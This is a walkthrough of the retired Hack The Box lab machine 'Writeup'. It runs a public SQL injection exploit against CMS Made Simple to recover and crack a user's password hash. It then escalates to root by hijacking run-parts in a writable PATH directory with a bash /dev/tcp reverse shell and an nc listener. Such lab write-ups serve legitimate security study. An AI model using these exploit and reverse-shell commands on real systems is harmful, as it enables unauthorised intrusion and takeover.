Writeup for the retired HTB machine Writeup
Link: https://www.hackthebox.eu/home/machines/profile/192


Only Port 22 and 80 are open. The page on Port 80 informs you that a DoS-Protection is in place, so no Dirbusting or Credential Stuffing are out of the question.
Instead, the page can be spidered with Owasp-ZAP. This yields some interesting paths.



The robots.txt leads reveals the path /writeup, which doesn’t seem to be DoS-Protected.
Also, wappalyzer informs us that the site is built with CMS Made Simple. By utilizing searchsploit, we find a SQL Injection for < 2.2.10.

Important to note:
Change the TIME variable if you’re on a free instance!

Now let it crack the password:

python2 46635.py -u --crack -w /usr/share/wordlists/dirb/common.txt

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

If called with rockyou.txt, the password raykayjay9 is found, which enables us to log in as ssh user jkr, which ultimately leads to the user flag.

Road to root

Enumerate and have a look what happens on the system with pspy. If watched closesly, one can observe that a dynamic MOTD is generated. This can be exploited with path loading order attack.

sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 

/usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d 

By examining the paths we see that /usr/local/sbin is writable. Simply place a script named run-parts there that opens a reverse shell to the own machine:

bash -i >& /dev/tcp/ 0>&1

On your own machine, run nc -nvlp 9999 for a receiving end. The next time a user logs in, the shell is triggered. After that, the root.txt can be printed.